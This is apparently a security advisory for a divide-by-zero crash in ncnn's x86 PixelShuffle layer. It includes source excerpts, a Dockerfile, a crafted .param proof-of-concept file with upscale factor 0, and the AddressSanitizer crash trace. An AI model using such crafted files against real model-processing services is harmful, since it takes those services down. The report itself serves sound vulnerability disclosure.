PixelShuffle Divide-By-Zero DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/pixelshuffle_x86.cpp:31 in PixelShuffle_x86::forward
Sanitizer verdict: FPE on unknown address 0x6164cde9d07f (pc 0x6164cde9d07f bp 0x7ffd15c3eea0 sp 0x7ffd15c3e780 T0)

Summary

An attacker who can hand a .param file to ncnnoptimize (or to any application that runs an x86 ncnn graph) kills the process with SIGFPE. The PixelShuffle layer copies its upscale factor straight out of the text parameter file with no lower bound, and the x86 forward implementation immediately computes channels / (r * r). With r == 0 that is an integer division by zero, so the model-processing worker aborts before it can emit any output. The entry point in the proof of concept is tools/ncnnoptimize.cpp, whose mandatory shape-inference pass executes every layer once.

Detail

The untrusted field is parameter id 0 of a PixelShuffle record. PixelShuffle::load_param stores it verbatim as upscale_factor and returns success for any integer, including 0:

// src/layer/pixelshuffle.cpp:14
int PixelShuffle::load_param(const ParamDict& pd)
{
    upscale_factor = pd.get(0, 1);
    mode = pd.get(1, 0);

    return 0;
}

// src/layer/x86/pixelshuffle_x86.cpp:21
int PixelShuffle_x86::forward(const Mat& bottom_blob, Mat& top_blob, const Option& opt) const
{
    const int w = bottom_blob.w;
    const int h = bottom_blob.h;
    const int channels = bottom_blob.c;
    const size_t elemsize = bottom_blob.elemsize;

    const int r = upscale_factor;
    const int outw = w * r;
    const int outh = h * r;
    const int outc = channels / (r * r);

    if (r != 2 && r != 4)
        return PixelShuffle::forward(bottom_blob, top_blob, opt);

ncnnoptimize calls optimizer.load_param(inparam) at tools/ncnnoptimize.cpp:2788 and then ModelWriter::shape_inference() at line 2844. Shape inference materialises each declared Input shape and calls Extractor::extract() for every layer top (tools/modelwriter.h:435), so the attacker's PixelShuffle is executed against a real tensor. On x86 the dispatcher selects PixelShuffle_x86::forward; the build compiles that same source into per-ISA translation units, which is why the stack trace names pixelshuffle_x86_avx512.cpp:31.

The PoC declares Input input 0 1 data 0=4 1=4 2=4, giving a 4x4x4 bottom blob, and PixelShuffle ps 1 1 data out 0=0. In forward, r is 0, so outw and outh are 0 and line 31 evaluates 4 / (0 * 0). The ordering matters: the guard on line 33 that would have delegated an unsupported factor to the generic PixelShuffle::forward is written after the division, so it never gets a chance to run. Nothing between load_param and this expression rejects a zero or negative factor — not the layer, not Net::load_param, and not the optimizer.

Reproduce

mkdir -p ncnn-poc-pixelshuffle-divide-by-zero-dos && cd ncnn-poc-pixelshuffle-divide-by-zero-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 data 0=4 1=4 2=4
PixelShuffle ps 1 1 data out 0=0
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x64ecd9fe707f (pc 0x64ecd9fe707f bp 0x7ffe891201a0 sp 0x7ffe8911fa80 T0)
    #0 0x64ecd9fe707f in ncnn::PixelShuffle_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/pixelshuffle_x86_avx512.cpp:31
    #1 0x64ecd3ec5f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x64ecd3eb7b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x64ecd3f179e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x64ecd3da93c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x64ecd3e26eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7d94f2e111c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7d94f2e1128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x64ecd3da6624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/pixelshuffle_x86_avx512.cpp:31 in ncnn::PixelShuffle_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst